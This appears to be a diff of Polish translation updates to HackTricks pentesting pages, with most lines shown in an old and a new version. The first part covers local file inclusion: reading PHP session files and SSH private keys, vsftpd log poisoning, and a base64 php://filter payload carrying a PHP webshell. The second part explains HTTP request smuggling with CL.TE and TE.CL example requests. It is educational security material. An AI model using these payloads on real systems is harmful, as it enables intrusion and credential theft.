Aby wykorzystać LFI do włączenia pliku sesji PHP, należy znaleźć podatny punkt końcowy, który umożliwia wczytanie plików z lokalnego systemu plików. Może to być spowodowane nieodpowiednią walidacją danych wejściowych lub nieprawidłowym wykorzystaniem funkcji do wczytywania plików.
Następnie, należy skonstruować odpowiednią ścieżkę do pliku sesji PHP. Może to być ścieżka bezwzględna lub względna, w zależności od implementacji aplikacji. Przykładowe ścieżki mogą wyglądać następująco:
- Ścieżka bezwzględna: `/var/lib/php/sessions/sess_1234567890abcdef`
- Ścieżka względna: `../../../../../var/lib/php/sessions/sess_1234567890abcdef`
Po skonstruowaniu odpowiedniej ścieżki, można ją przekazać do podatnego punktu końcowego, aby wczytać zawartość pliku sesji PHP. W ten sposób można uzyskać dostęp do poufnych informacji przechowywanych w sesji użytkownika.
## Zabezpieczenia
Aby zabezpieczyć się przed atakami LFI, należy:
- Poprawnie walidować i filtrować wszelkie dane wejściowe, które są wykorzystywane do konstrukcji ścieżki pliku.
- Unikać wykorzystywania funkcji do wczytywania plików, które mogą być podatne na ataki LFI.
- Przechowywać pliki sesji w bezpiecznym miejscu, niedostępnym dla użytkowników zewnętrznych.
## Przykłady
### Przykład 1: Włączanie pliku sesji PHP za pomocą LFI
```
GET /vulnerable.php?page=/var/lib/php/sessions/sess_1234567890abcdef HTTP/1.1
Host: example.com
```
W tym przykładzie, atakujący wykorzystuje podatny punkt końcowy `vulnerable.php`, który umożliwia wczytanie plików z lokalnego systemu plików. Atakujący konstruuje ścieżkę do pliku sesji PHP i przekazuje ją jako parametr `page`. W rezultacie, atakujący może uzyskać dostęp do zawartości pliku sesji PHP, w tym poufnych informacji użytkownika.
### Przykład 2: Włączanie pliku sesji PHP za pomocą LFI (ścieżka względna)
```
GET /vulnerable.php?page=../../../../../var/lib/php/sessions/sess_1234567890abcdef HTTP/1.1
Host: example.com
```
W tym przykładzie, atakujący wykorzystuje podatny punkt końcowy `vulnerable.php`, który umożliwia wczytanie plików z lokalnego systemu plików. Atakujący konstruuje ścieżkę względną do pliku sesji PHP i przekazuje ją jako parametr `page`. W rezultacie, atakujący może uzyskać dostęp do zawartości pliku sesji PHP, w tym poufnych informacji użytkownika.
Wykorzystaj LFI do załączenia pliku sesji PHP
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Przez ssh
### Za pośrednictwem ssh
Jeśli ssh jest aktywne, sprawdź, który użytkownik jest używany (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do **\<HOME>/.ssh/id\_rsa**
Jeśli ssh jest aktywny, sprawdź, który użytkownik jest używany (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do **\<HOME>/.ssh/id\_rsa**
### **Przez** **dzienniki** **vsftpd**
### **Za pośrednictwem** **logów** **vsftpd**
Dzienniki serwera FTP vsftpd znajdują się w **_/var/log/vsftpd.log_**. W przypadku istnienia podatności na lokalne włączenie pliku (LFI) i możliwości dostępu do wystawionego serwera vsftpd, można rozważyć następujące kroki:
Logi serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W przypadku istnienia podatności na Włączenie Lokalnego Pliku (LFI) i możliwości dostępu do narażonego serwera vsftpd, można rozważyć następujące kroki:
1. Wstrzyknij ładunek PHP do pola nazwy użytkownika podczas procesu logowania.
2. Po wstrzyknięciu, użyj LFI, aby pobrać dzienniki serwera z **_/var/log/vsftpd.log_**.
2. Po wstrzyknięciu, skorzystaj z LFI, aby pobrać logi serwera z _**/var/log/vsftpd.log**_.
### Za pomocą filtra php base64 (używając base64)
### Przez filtr php base64 (używając base64)
Jak pokazano w [tym](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artykule, filtr PHP base64 po prostu ignoruje Nie-base64. Możesz użyć tego do ominięcia sprawdzania rozszerzenia pliku: jeśli dostarczysz base64, który kończy się na ".php", to po prostu zignoruje "." i dołączy "php" do base64. Oto przykładowy ładunek:
Jak pokazano w [tym](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artykule, filtr base64 PHP po prostu ignoruje Non-base64. Możesz użyć tego do ominięcia sprawdzania rozszerzenia pliku: jeśli dostarczysz base64 kończący się na ".php", to po prostu zignoruje "." i dołączy "php" do base64. Oto przykładowy ładunek:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -647,7 +564,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Za pomocą filtrów php (nie wymagany plik)
Ten [**opis**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że można użyć **filtrów php do generowania dowolnej zawartości** jako wyniku. Oznacza to, że można **generować dowolny kod php** do dołączenia **bez konieczności zapisywania** go do pliku.
Ten [**opis**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że można użyć **filtrów php do generowania dowolnej zawartości** jako wyniku. Oznacza to w zasadzie, że można **generować dowolny kod php** do dołączenia **bez konieczności zapisywania** go do pliku.
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
@ -655,15 +572,15 @@ Ten [**opis**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)
### Za pomocą błędu segmentacji
**Prześlij** plik, który zostanie przechowywany jako **tymczasowy** w `/tmp`, a następnie w **tym samym żądaniu** wywołaj **błąd segmentacji**, wtedy **tymczasowy plik nie zostanie usunięty** i można go wyszukać.
**Prześlij** plik, który zostanie przechowywany jako **tymczasowy** w `/tmp`, a następnie w **tym samym żądaniu,** wywołaj **błąd segmentacji**, wtedy **tymczasowy plik nie zostanie usunięty** i będziesz mógł go wyszukać.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
{% endcontent-ref %}
### Za pomocą tymczasowego przechowywania plików Nginx
### Za pomocą przechowywania plików tymczasowych Nginx
Jeśli znaleziono **Lokalne Włączenie Pliku** i **Nginx** działa przed PHP, można uzyskać RCE za pomocą następującej techniki:
Jeśli znalazłeś **Włączenie Pliku Lokalnego** i **Nginx** działa przed PHP, możesz być w stanie uzyskać RCE za pomocą następującej techniki:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
@ -671,15 +588,15 @@ Jeśli znaleziono **Lokalne Włączenie Pliku** i **Nginx** działa przed PHP, m
### Za pomocą PHP\_SESSION\_UPLOAD\_PROGRESS
Jeśli znaleziono **Lokalne Włączenie Pliku**, nawet jeśli **nie ma się sesji** i `session.auto_start` jest ustawione na `Off`. Jeśli podasz **`PHP_SESSION_UPLOAD_PROGRESS`** w danych **multipart POST**, PHP **włączy sesję dla Ciebie**. Można to wykorzystać do uzyskania RCE:
Jeśli znalazłeś **Włączenie Pliku Lokalnego** nawet jeśli **nie masz sesji** i `session.auto_start` jest ustawione na `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w danych **multipart POST**, PHP **włączy sesję dla ciebie**. Możesz wykorzystać to do uzyskania RCE:
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
{% endcontent-ref %}
### Za pomocą tymczasowego przesyłania plików w systemie Windows
### Za pomocą przesyłania plików tymczasowych w systemie Windows
Jeśli znaleziono **Lokalne Włączenie Pliku** i serwer działa w systemie **Windows**, można uzyskać RCE:
Jeśli znalazłeś **Włączenie Pliku Lokalnego** i serwer działa w systemie **Windows**, możesz uzyskać RCE:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
@ -687,23 +604,23 @@ Jeśli znaleziono **Lokalne Włączenie Pliku** i serwer działa w systemie **Wi
### Za pomocą phpinfo() (file\_uploads = on)
Jeśli znaleziono **Lokalne Włączenie Pliku** i plik ujawniający **phpinfo()** z file\_uploads = on, można uzyskać RCE:
Jeśli znalazłeś **Włączenie Pliku Lokalnego** i plik ujawniający **phpinfo()** z file\_uploads = on, możesz uzyskać RCE:
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
{% endcontent-ref %}
### Za pomocą compress.zlib + `PHP_STREAM_PREFER_STUDIO` + ujawnienie ścieżki
### Za pomocą compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Ujawnienie ścieżki
Jeśli znaleziono **Lokalne Włączenie Pliku** i można **wydobyć ścieżkę** do pliku tymczasowego, ALE **serwer sprawdza**, czy **dołączany plik ma znaczniki PHP**, można spróbować **obejść tę kontrolę** za pomocą tej **Race Condition**:
Jeśli znalazłeś **Włączenie Pliku Lokalnego** i **możesz wyciec ścieżkę** pliku tymczasowego, ALE **serwer** sprawdza, czy **plik do dołączenia ma znaczniki PHP**, możesz spróbować **obejść tę kontrolę** za pomocą tej **Race Condition**:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
{% endcontent-ref %}
### Za pomocą wiecznego oczekiwania + brute force
### Za pomocą wiecznego oczekiwania + brutalnej siły
Jeśli można wykorzystać LFI do **przesyłania tymczasowych plików** i spowodować **zawieszenie** wykonania PHP na serwerze, można następnie **przez godziny próbować odgadnąć nazwy plików tymczasowych**, aby je znaleźć:
Jeśli możesz wykorzystać Włączenie Pliku Lokalnego do **przesyłania plików tymczasowych** i spowodować, że serwer **zawiesi** wykonanie PHP, możesz następnie **przez godziny brutalnie siłować nazwy plików**, aby znaleźć plik tymczasowy:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
@ -711,45 +628,45 @@ Jeśli można wykorzystać LFI do **przesyłania tymczasowych plików** i spowod
### Do błędu krytycznego
Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby spowodować ten błąd).
Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd).
**Nie wiem, jak to może być przydatne, ale może tak być.**\
_Nawet jeśli spowodujesz błąd krytyczny PHP, tymczasowe pliki przesłane są usuwane._
**Nie wiem, jak to może być użyteczne, ale może być.**\
_Nawet jeśli spowodujesz krytyczny błąd PHP, tymczasowe pliki przesłane przez PHP są usuwane._
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
## Odwołania
## Odnośniki
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
* [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
**Wgląd w Hacking**\
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania związane z hakerstwem
**Spostrzeżenia dotyczące hakerstwa**\
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
**Aktualności na żywo o Hackingu**\
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i wglądom
**Aktualności na żywo dotyczące hakerstwa**\
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i spostrzeżeniom na żywo
**Najnowsze ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platform
Bądź na bieżąco z najnowszymi programami nagród za błędy i istotnymi aktualizacjami platformy
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Uzyskaj [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

425
pentesting-web/http-request-smuggling/README.md
View file

@ -1,4 +1,4 @@
# HTTP Request Smuggling / Atak desynchronizacji HTTP
# Atak na Przesyłanie Żądań HTTP / Atak Desynchronizacji HTTP
<details>
@ -6,63 +6,69 @@
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repozytoriów GitHub.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Czym jest
## Co to jest
Ta podatność występuje, gdy **desynchronizacja** między **serwerami proxy front-endowymi** a **serwerem back-endowym** umożliwia **atakującemu** wysłanie żądania HTTP, które zostanie **zinterpretowane** jako **jedno żądanie** przez serwery proxy front-endowe (balance obciążenia/proxy odwrócony) i jako **2 żądania** przez serwer back-endowy.\
Umożliwia to użytkownikowi **modyfikację następnego żądania**, które dotrze do serwera back-endowego po jego.
Ta podatność występuje, gdy **desynchronizacja** między **serwerami proxy front-end** a **serwerem back-end** pozwala **atakującemu** na **wysłanie** żądania HTTP, które zostanie **zinterpretowane** jako **jedno żądanie** przez **serwery proxy front-end** (bilansowanie obciążenia/przekierowanie) i **jako 2 żądania** przez **serwer back-end**.\
Umożliwia to użytkownikowi **modyfikację następnego żądania, które dotrze do serwera back-end po jego**.
### Teoria
[**Specyfikacja RFC (2161)**](https://tools.ietf.org/html/rfc2616)
> Jeśli wiadomość zostanie odebrana zarówno z polem nagłówka Transfer-Encoding, jak i polem nagłówka Content-Length, to to drugie MUSI zostać zignorowane.
> Jeśli wiadomość zostanie otrzymana zarówno z polem nagłówka Transfer-Encoding, jak i polem nagłówka Content-Length, to to drugie MUSI zostać zignorowane.
**Content-Length**
> Nagłówek jednostki Content-Length wskazuje rozmiar ciała jednostki, w bajtach, wysłanej do odbiorcy.
> Nagłówek encji Content-Length wskazuje rozmiar ciała encji, w bajtach, wysłanej do odbiorcy.
**Transfer-Encoding: chunked**
> Nagłówek Transfer-Encoding określa formę kodowania używaną do bezpiecznego przesyłania ciała ładunku do użytkownika.\
> Chunked oznacza, że duże dane są wysyłane w serii fragmentów
> Nagłówek Transfer-Encoding określa formę kodowania używanego do bezpiecznego przesyłania treści ładunku do użytkownika.\
> Chunked oznacza, że duże dane są wysyłane w serii kawałków.
### Rzeczywistość
**Front-End** (balance obciążenia / proxy odwrócony) **przetwarza** nagłówek _**content-length**_ lub _**transfer-encoding**_, a serwer **Back-End przetwarza** drugi z nich, powodując **desynchronizację** między tymi dwoma systemami.\
Może to być bardzo krytyczne, ponieważ **atakujący będzie w stanie wysłać jedno żądanie** do proxy odwróconego, które zostanie **zinterpretowane** przez serwer **Back-End jako 2 różne żądania**. Niebezpieczeństwo tej techniki polega na tym, że serwer **Back-End zinterpretuje** **wstrzyknięte drugie żądanie** tak, jakby **pochodziło od następnego klienta**, a **rzeczywiste żądanie** tego klienta będzie **częścią** **wstrzykniętego żądania**.
**Serwer Front-End** (bilansowanie obciążenia/przekierowanie) **przetwarza** nagłówek _**content-length**_ lub _**transfer-encoding**_, a **serwer Back-End przetwarza drugi**, co powoduje **desynchronizację** między tymi dwoma systemami.\
Może to być bardzo krytyczne, ponieważ **atakujący będzie w stanie wysłać jedno żądanie** do serwera odwrotnego proxy, które zostanie **zinterpretowane** przez **serwer back-end jako 2 różne żądania**. **Niebezpieczeństwo** tej techniki polega na tym, że **serwer back-end zinterpretuje 2. wstrzyknięte żądanie** tak, jakby **pochodziło od następnego klienta**, a **rzeczywiste żądanie** tego klienta będzie **częścią** **wstrzykniętego żądania**.
### Szczególne przypadki
Pamiętaj, że w protokole HTTP **znak nowej linii składa się z 2 bajtów:**
* **Content-Length**: Ten nagłówek używa **liczby dziesiętnej** do wskazania **liczby bajtów** ciała żądania. Oczekuje się, że ciało zakończy się ostatnim znakiem, **znak nowej linii nie jest potrzebny na końcu żądania**.
* **Transfer-Encoding:** Ten nagłówek używa w ciele **liczby szesnastkowej** do wskazania **liczby bajtów** następnego fragmentu. **Fragment** musi **zakończyć się** znakiem **nowej linii**, ale ten znak **nie jest uwzględniany** przez wskaźnik długości. Ta metoda transferu musi zakończyć się **fragmentem o rozmiarze 0, po którym następują 2 znaki nowej linii**: `0`
* **Connection**: Na podstawie mojego doświadczenia zaleca się użycie **`Connection: keep-alive`** w pierwszym żądaniu ataku desynchronizacji.
* **Content-Length**: Ten nagłówek używa **liczby dziesiętnej** do wskazania **liczby** **bajtów** ciała żądania. Oczekuje się, że ciało zakończy się na ostatnim znaku, **nie jest wymagana nowa linia na końcu żądania**.
* **Transfer-Encoding:** Ten nagłówek używa w **ciale** **liczby szesnastkowej** do wskazania **liczby** **bajtów** **następnego kawałka**. **Kawałek** musi **zakończyć się** nową linią, ale ta nowa linia **nie jest uwzględniana** przez wskaźnik długości. Ten sposób przesyłania musi zakończyć się **kawałkiem o rozmiarze 0, po którym następują 2 nowe linie**: `0`
* **Connection**: Na podstawie mojego doświadczenia zaleca się użycie **`Connection: keep-alive`** w pierwszym żądaniu ataku na przesyłanie żądań.
## Podstawowe przykłady
## Podstawowe Przykłady
Ataki desynchronizacji żądań HTTP są tworzone poprzez wysyłanie niejednoznacznych żądań, które wykorzystują rozbieżności w interpretacji nagłówków `Content-Length` (CL) i `Transfer-Encoding` (TE) przez serwery front-endowe i back-endowe. Ataki te mogą przybierać różne formy, głównie jako **CL.TE**, **TE.CL** i **TE.TE**. Każdy typ reprezentuje unikalne połączenie priorytetów serwerów front-endowych i back-endowych w odniesieniu do tych nagłówków. Podatności wynikają z różnych sposobów przetwarzania tego samego żądania przez serwery, co prowadzi do nieoczekiwanych i potencjalnie złośliwych rezultatów.
{% hint style="success" %}
Próbując wykorzystać to za pomocą Burp Suite, **wyłącz opcje `Update Content-Length` i `Normalize HTTP/1 line endings`** w powtarzaczu, ponieważ niektóre gadżety nadużywają znaków nowej linii, powrotów karetki i błędnych długości treści.
{% endhint %}
### Podstawowe przykłady typów podatności
Ataki na przesyłanie żądań HTTP są tworzone poprzez wysyłanie dwuznacznych żądań, które wykorzystują rozbieżności w interpretacji nagłówków `Content-Length` (CL) i `Transfer-Encoding` (TE) przez serwery front-end i back-end. Te ataki mogą przybierać różne formy, głównie jako **CL.TE**, **TE.CL** i **TE.TE**. Każdy typ reprezentuje unikalne połączenie sposobów, w jaki serwery front-end i back-end priorytetyzują te nagłówki. Podatności wynikają z przetwarzania tego samego żądania przez serwery w różny sposób, prowadząc do nieoczekiwanych i potencjalnie złośliwych rezultatów.
### Podstawowe Przykłady Typów Podatności
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
#### Podatność CL.TE (Content-Length używane przez Front-End, Transfer-Encoding używane przez Back-End)
- **Front-End (CL):** Przetwarza żądanie na podstawie nagłówka `Content-Length`.
- **Back-End (TE):** Przetwarza żądanie na podstawie nagłówka `Transfer-Encoding`.
- **Scenariusz ataku:**
- Atakujący wysyła żądanie, w którym wartość nagłówka `Content-Length` nie odpowiada rzeczywistej długości treści.
- Serwer front-endowy przekazuje całe żądanie do serwera back-endowego na podstawie wartości `Content-Length`.
- Serwer back-endowy przetwarza żądanie jako chunked ze względu na nagłówek `Transfer-Encoding: chunked`, interpretując pozostałe dane jako oddzielne, następne żądanie.
- **Przykład:**
* **Front-End (CL):** Przetwarza żądanie na podstawie nagłówka `Content-Length`.
* **Back-End (TE):** Przetwarza żądanie na podstawie nagłówka `Transfer-Encoding`.
* **Scenariusz Ataku:**
* Atakujący wysyła żądanie, w którym wartość nagłówka `Content-Length` nie zgadza się z rzeczywistą długością treści.
* Serwer front-end przekazuje całe żądanie do serwera back-end, na podstawie wartości `Content-Length`.
* Serwer back-end przetwarza żądanie jako kawałkowane ze względu na nagłówek `Transfer-Encoding: chunked`, interpretując pozostałe dane jako oddzielne, następne żądanie.
* **Przykład:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -77,13 +83,15 @@ Foo: x
```
#### Podatność TE.CL (Transfer-Encoding używane przez Front-End, Content-Length używane przez Back-End)
- **Front-End (TE):** Przetwarza żądanie na podstawie nagłówka `Transfer-Encoding`.
- **Back-End (CL):** Przetwarza żądanie na podstawie nagłówka `Content-Length`.
- **Scenariusz ataku:**
- Atakujący wysyła żądanie chunked, w którym rozmiar chunka (`7b`) i rzeczywista długość treści (`Content-Length: 4`) nie są zgodne.
- Serwer front-endowy, zgodnie z `Transfer-Encoding`, przekazuje całe żądanie do serwera back-endowego.
- Serwer back-endowy, zgodnie z `Content-Length`, przetwarza tylko początkową część żądania (7b bajtów), pozostawiając resztę jako część niezamierzonego następnego żądania.
- **Przykład:**
* **Front-End (TE):** Przetwarza żądanie na podstawie nagłówka `Transfer-Encoding`.
* **Back-End (CL):** Przetwarza żądanie na podstawie nagłówka `Content-Length`.
* **Scenariusz Ataku:**
* Atakujący wysyła kawałkowane żądanie, gdzie rozmiar kawałka (`7b`) i rzeczywista długość treści (`Content-Length: 4`) nie zgadzają się.
* Serwer front-end, respektując `Transfer-Encoding`, przekazuje całe żądanie do serwera back-end.
* Serwer back-end, respektując `Content-Length`, przetwarza jedynie początkową część żądania (`7b` bajtów), pozostawiając resztę jako część niezamierzonego, następnego żądania.
* **Przykład:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -101,13 +109,15 @@ x=
0
```
#### Wrażliwość TE.TE (Transfer-Encoding używane przez obie strony, z zaciemnieniem)
- **Serwery:** Oba obsługują `Transfer-Encoding`, ale jeden może zostać oszukany, ignorując go za pomocą zaciemnienia.
- **Scenariusz ataku:**
- Atakujący wysyła żądanie z zaciemnionymi nagłówkami `Transfer-Encoding`.
- W zależności od tego, który serwer (front-end lub back-end) nie rozpoznaje zaciemnienia, może zostać wykorzystana podatność CL.TE lub TE.CL.
- Nieprzetworzona część żądania, widziana przez jeden z serwerów, staje się częścią kolejnego żądania, prowadząc do smugglingu.
- **Przykład:**
#### Vulnerability TE.TE (Transfer-Encoding używane przez obie strony, z zaciemnieniem)
* **Serwery:** Oba obsługują `Transfer-Encoding`, ale jeden można oszukać, ignorując go za pomocą zaciemnienia.
* **Scenariusz ataku:**
* Atakujący wysyła żądanie z zaciemnionymi nagłówkami `Transfer-Encoding`.
* W zależności od tego, który serwer (front-end lub back-end) nie rozpoznaje zaciemnienia, może zostać wykorzystana podatność CL.TE lub TE.CL.
* Nieprzetworzona część żądania, widziana przez jeden z serwerów, staje się częścią kolejnego żądania, co prowadzi do przemytu.
* **Przykład:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -125,10 +135,12 @@ Transfer-Encoding
: chunked
```
#### **Scenariusz CL.CL (Content-Length używane przez zarówno front-end, jak i back-end):**
- Oba serwery przetwarzają żądanie wyłącznie na podstawie nagłówka `Content-Length`.
- Ten scenariusz zazwyczaj nie prowadzi do smugglingu, ponieważ oba serwery interpretują długość żądania w ten sam sposób.
- **Przykład:**
#### **Scenariusz CL.CL (Content-Length używane przez obie strony, zarówno front-end, jak i back-end):**
* Oba serwery przetwarzają żądanie wyłącznie na podstawie nagłówka `Content-Length`.
* Ten scenariusz zazwyczaj nie prowadzi do przemytu, ponieważ oba serwery interpretują długość żądania w sposób zgodny.
* **Przykład:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -139,9 +151,11 @@ Normalne żądanie
```
#### **Scenariusz CL != 0:**
- Odnosi się do scenariuszy, w których nagłówek `Content-Length` jest obecny i ma wartość inną niż zero, co wskazuje, że ciało żądania zawiera treść.
- Jest to istotne przy zrozumieniu i tworzeniu ataków smugglingowych, ponieważ wpływa na to, jak serwery określają koniec żądania.
- **Przykład:**
* Dotyczy scenariuszy, w których nagłówek `Content-Length` jest obecny i ma wartość inną niż zero, co wskazuje, że ciało żądania zawiera treść.
* Jest to istotne przy zrozumieniu i tworzeniu ataków przemytu, ponieważ wpływa na to, w jaki sposób serwery określają koniec żądania.
* **Przykład:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -153,25 +167,26 @@ Ciało nie jest puste
#### Wymuszanie za pomocą nagłówków hop-by-hop
Wykorzystując nagłówki hop-by-hop, można wskazać serwerowi proxy, aby **usunął nagłówek Content-Length lub Transfer-Encoding, dzięki czemu możliwe jest wykorzystanie HTTP request smuggling**.
Wykorzystując nagłówki hop-by-hop, można wskazać serwerowi proxy, aby **usunął nagłówek Content-Length lub Transfer-Encoding, co umożliwia przemyt żądania HTTP**.
```
Connection: Content-Length
```
Aby uzyskać **więcej informacji na temat nagłówków hop-by-hop**, odwiedź:
Dla **więcej informacji na temat nagłówków hop-by-hop** odwiedź:
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}
## Odkrywanie Smuglowania Żądań HTTP
## Wyszukiwanie podatności na HTTP Request Smuggling
